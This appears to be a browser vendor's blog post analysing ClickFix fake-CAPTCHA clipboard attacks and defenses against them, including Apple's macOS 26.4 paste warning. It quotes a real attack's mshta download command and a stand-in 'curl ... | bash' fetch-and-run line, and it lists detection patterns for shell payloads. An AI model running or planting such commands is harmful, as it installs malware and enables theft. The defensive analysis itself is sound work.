The clipboard is the exploit — where ClickFix leaves every defender
A fake CAPTCHA writes a PowerShell one-liner to the clipboard. The user presses Win+R and pastes. No sandbox escape, no zero-day, no signed binary required — the human is the exploit. Here is what we ship against it today, where the gaps still are, and what Apple got right and wrong in macOS 26.4.
A page pretends to be a CAPTCHA. While the user reads the "I'm not a robot" instructions, the page silently writes a PowerShell command to the clipboard. Then it asks the user to press Win+R and paste "to verify." The human is the exploit. This is ClickFix, and it is genuinely hard to stop — not because it is clever, but because it routes around almost every defense a browser was built to provide.
On April 9, 2026, Rapid7 watched a user visit what looked like a download page for Anthropic's Claude desktop app. The page asked them to "verify they were human." When they clicked the button, the page put the following string on the clipboard:
mshta https://download-version.1-5-8.com/claude.msixbundle
It then told them to press Win+R and paste. The user did.
mshta.exe
is a Windows binary that executes HTML Applications, shipped with every
version of the operating system for more than twenty years. What mshta
executed was a chain that ended in an infostealer running on the host.
No browser bug was touched. No code-signing check was bypassed. No
elevation prompt appeared. The browser did exactly what the user asked
it to do; the operating system did exactly what the user asked it to
do. The attacker just asked through both of them, using the clipboard
as the wire.
Four days later, Booking.com disclosed that its hotel-partner network had been hit by the same technique — tracked by Microsoft as Storm-1865 — with a final payload of XWorm and VenomRAT. Microsoft itself, in an earlier write-up, attributed forty-seven percent of initial-access intrusions in 2025 to this one pattern. The Booking.com partners did not click a malicious attachment. They did not download an executable. They pressed Win+R and pasted something. That is all it takes now.
Why ClickFix works.
The attack chain fits on a napkin.
Every defense people usually reach for has already lost by the time
the payload runs. The URL reputation filter? The attacker registered
download-version.1-5-8.com yesterday. The browser sandbox? The
payload does not try to escape the browser — it just asks the human
to carry it out. The code-signing check on the executable? mshta.exe
is a signed Microsoft binary. The elevation prompt? mshta does not
need elevation to download and run an HTA. The endpoint agent? It sees
the parent process is explorer.exe kicked off by a user keypress,
which is indistinguishable from the user running literally anything
else on their computer.
ClickFix takes the one part of the computer the industry has been unable to patch — the person sitting in front of it — and turns them into the execution stage. That is why it is everywhere now. The Storm-1865 campaign used a Booking.com-branded lure. The Rapid7 case used a Claude installer lure. Facebook creator-account takeovers have been using the same technique for months. The lure changes weekly; the mechanism does not.
The same attack, aimed at macOS.
The Rapid7 capture, the Booking.com breach and the Facebook creator takeovers all targeted Windows hosts. That is a real bias in this week's data — the ClickFix industry is, right now, mostly a Windows industry — but it is a property of the market, not a property of the attack. ClickFix is a clipboard-and-keyboard technique. It does not care which operating system the keyboard is attached to.
On macOS the substitutions are mechanical. Win+R becomes Cmd+Space
and Terminal — or lately, Script Editor. The mshta line becomes
curl -s https://evil.example | bash, or an osascript -e one-liner,
or a base64-encoded AppleScript do shell script. The fake CAPTCHA
stays the fake CAPTCHA; the clipboard write stays the clipboard write;
the page's "verify you are human" script changes two sentences.
Bitdefender documented Mac-targeted ClickFix lures delivering Atomic
Stealer earlier this year,
and — as we will come to in a moment — the fact that Apple felt the
need to ship a platform-level response in macOS 26.4 is the clearest
possible signal that the Mac variant is not hypothetical.
For Bromure, this is the load-bearing case. Bromure runs on macOS. Every user we ship to is a macOS ClickFix target before they are anything else. When we talk in the next section about clipboard isolation and phishing-guard, we are not talking about a Windows curiosity — we are talking about a technique that has already landed on our users' actual operating system, and that the platform they chose is trying, imperfectly, to patch.
Bromure's honest posture against ClickFix.
We would like to tell you that Bromure prevents ClickFix. It does not. What Bromure does is take a problem that was previously unowned — the clipboard as an attacker-controlled wire between the browser and the host — and put it behind two layers that we are actively working on, one architectural and one plugin-based. Neither is a finished answer. Both are better than nothing. Here is exactly where they are today.
Layer one — clipboard isolation as an option, not a default.
Bromure runs each tab inside its own disposable Linux VM. The page
runs in there; the browser runs in there; the navigator.clipboard
write from the fake CAPTCHA happens in there. The question is what
the VM's clipboard is connected to. By default, today, it is connected
to the macOS host clipboard — because most of the time the clipboard
is how you copy a URL from the browser into Messages, or paste a
password from 1Password into a login form. Breaking that by default
would make the browser hostile to use.
Total-isolation mode flips that default. In total isolation, the
clipboard bridge between the VM and the macOS host is severed. A page
inside the tab can still write to its own VM's clipboard — and the
user can still paste inside that VM's Linux terminal if they really
want to — but the host clipboard the user pastes into Win+R, or into
Terminal.app, or into Spotlight, is a different clipboard. The page's
mshta https://... string never reaches the host paste buffer. The
ClickFix chain truncates at stage 2.
The honest read on total isolation: it is a clean architectural answer to ClickFix for the users who want it, and it is a usability tax we are not willing to ship as the default for everyone. Most people copy and paste dozens of times a day between their browser and their notes, or their messenger, or a document they are working on. Making that path "it's off, go find the setting" to get copy/paste back would mean most users turn it back on inside a week — and then we have taught them the value of clipboard sharing and the cost of security in one motion. That is not the lesson we want them to learn.
So total isolation is there for the user who wants it, documented, and it is the strongest thing the architecture has to say about ClickFix. It is not the thing most users will run.
Layer two — the anti-phishing plugin, today and tomorrow.
For the default posture — clipboard bridge on — we ship a second line of defense in Bromure's anti-phishing component, which we call phishing-guard. It is worth describing what it does, because most of the industry does not do it, and because we think it is the beginning of the right answer rather than the end.
Phishing-guard hooks the three clipboard-write entry points inside the
tab VM's Chromium: the modern navigator.clipboard.writeText and
clipboard.write APIs, and the legacy
document.execCommand('copy') path that older pages still use.
Whenever a page writes text to the clipboard, phishing-guard gets to
see it before the host clipboard does.
It then runs two tests in parallel. First, it matches the clipboard
content against a set of shell-command regular expressions — we keep
ten of them, tuned on the payloads we actually see in the wild:
powershell invocations, mshta https:// patterns, curl ... | bash
pipes, base64-encoded PowerShell blobs, certutil -urlcache,
rundll32 tricks, and a few others. Second, it scans the rendered
page for instruction patterns that tell the user to execute the
clipboard content — thirteen of them, multilingual — things like
"Press Win+R," "open Terminal," "paste to verify you are human,"
in English, French, Spanish, German, Portuguese, Italian, Dutch,
Polish, Japanese, Korean, Chinese, Arabic and Russian.
When both fire — a clipboard write that looks like a shell command, on a page whose text is coaching the user to paste it — phishing-guard sends the candidate payload to a language-model verdict and surfaces an in-browser warning if the verdict is hostile.
Two honest limitations even when this is working as designed: the LLM call has a latency cost, so a fast user can paste before the verdict returns; and regex-plus-page-text catches the shape of ClickFix but not every variant (a page that instructs the user verbally via an embedded video rather than in text would slip the pattern scan today). We are actively working on hardening the block point and shrinking the detection window. Those are engineering problems with known answers; we are just not done with them.
What Apple shipped in macOS 26.4 — and where it falls short.
On March 24, 2026, Apple shipped the same shape of idea at the operating-system level. macOS 26.4 added a paste-warning dialog to the first-party Terminal.app: when the user pastes into a Terminal window, macOS inspects the clipboard and, under some conditions, displays a blocking dialog reading "Possible malware. Paste blocked. Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy." This is a good step, and we are glad Apple did it. We also think it is worth being precise about what it is and is not.
Three limitations worth naming. The first is that the warning lives inside Terminal.app, not inside macOS's pasteboard layer. iTerm2, Alacritty, Warp, Kitty, and every other terminal the Mac developer community actually uses do not inherit the check. That is not an Apple oversight — it is a scope choice — but it means the user base that is most likely to paste a random shell command, engineers with their own terminal preference, is exactly the user base this feature does not protect.
The second is Script Editor. On April 8, 2026,
Jamf Threat Labs reported
that Atomic Stealer operators had already shifted their ClickFix
social-engineering script from
"open Terminal and paste this" to
"open Script Editor and paste this," because Script Editor executes
AppleScript and shell commands via do shell script and is not
covered by the 26.4 warning. Jamf's Thijs Xhaflaire put it as plainly
as anyone could: "by shifting execution from Terminal to Script
Editor, the attacker preserves a familiar delivery mechanism while
quietly changing how and where the command actually runs." The
industry took two weeks to route around the mitigation. That is not
a criticism of Apple; it is a criticism of the shape of the problem.
You cannot solve ClickFix by patching one destination.
The third limitation is the biggest and the least discussed: macOS 26.4 protects Mac users. The actual ClickFix industry — the Storm-1865 affiliate structure behind the Booking.com breach, the fake Claude-installer campaign, and the bulk of the forty-seven percent of 2025 initial-access figure — ships Windows payloads, uses Win+R, invokes mshta and PowerShell, and lands on Windows hosts. Apple can protect Terminal.app perfectly and move zero needles on that fleet. For the ClickFix post-mortems you will read this year, the operating system with the paste warning is not usually the one the victim was running.
What Apple got right
Treating clipboard-to-shell-command as a security-relevant paste path, and inspecting it at the OS layer where every app on the system gets the benefit. That framing is correct. The one-shot prompt, the branded dialog, the "your Mac has not been harmed" wording — all well-made. This is the first platform-level acknowledgement that the clipboard is a threat channel.
Why it is not the whole answer
The check is in Terminal.app, not the pasteboard subsystem. It is single-shot. Script Editor is already a bypass. And the victim population the feature was designed for is a small fraction of the population ClickFix actually targets. Apple shipped a good feature. It did not ship a solution, and we do not think Apple claims it did.
What the browser is uniquely placed to do
The browser sees the page that is writing to the clipboard and the text the page is using to coach the user. The operating system only sees the end of the chain. Two separate signals — the clipboard-write site and the page's social-engineering text — combine into a verdict the OS alone does not have access to. That is the argument for the browser doing some of this work.
What the browser cannot reach
Once the user pastes into a real Terminal, a real Run dialog, a real Script Editor, the payload has crossed out of anything the browser can see. The host has to carry its share. macOS 26.4 is the host carrying its share, in the places it chose to cover. Windows has to do the same. This is a problem that needs both ends.
The thesis we are willing to defend.
For twenty years the industry has answered social-engineering attacks with posters. "Don't click suspicious links." "Be aware of phishing attempts." "Think before you paste." When a user falls for ClickFix, the public-facing response is usually some variation of the user should have known better — articles explaining how to spot the fake CAPTCHA, training modules, annual security-awareness quizzes, blame shifted politely downward. The assumption under all of it is that phishing is, at root, a human problem, and that the technical layer has done what it can.
We do not believe that. We believe ClickFix, and every other clipboard-and-keyboard social-engineering technique, is a technical problem that the technical layer has consistently declined to own. The clipboard is an unauthenticated message bus between any web page and any other app on the operating system. The Run dialog accepts any string. Terminal executes whatever lands in it. None of these designs were audited against the attacker the clipboard now actually has. None of them are going to fix themselves.
The right response is work — inside browsers, inside operating systems, inside ecosystem cooperation — to make the clipboard-to-shell-command path something the machine is willing to intervene in on the user's behalf. macOS 26.4 is a step; Windows needs its own. phishing-guard is a step; hard-blocking the clipboard write, shipping a clipboard-specific warning instead of a generic spinner, and reducing the verdict latency to where it beats a fast paste — those are the next steps. Total-isolation mode is a step; making it easier to live with day-to-day is the one after.
None of this is a poster. None of it asks the user to recognise a fake CAPTCHA faster, or to "hover over links," or to become a security expert to open a browser tab. We think people should not have to become security experts to open a browser tab. Tech broke this. Tech should fix it.
Bromure's roadmap against ClickFix is the shape of that conviction. What we ship today is a partial defense with two levers — a strong one that costs usability, and a softer one that is growing teeth as fast as we can grow them. What we ship next year will be sharper. And we will keep saying what the feature does and does not do, in posts like this one, because the alternative — shipping a clean marketing page with a checkmark next to "ClickFix" — is exactly the kind of thing that got the industry to a place where Storm-1865 can make forty-seven percent of 2025's initial access look easy.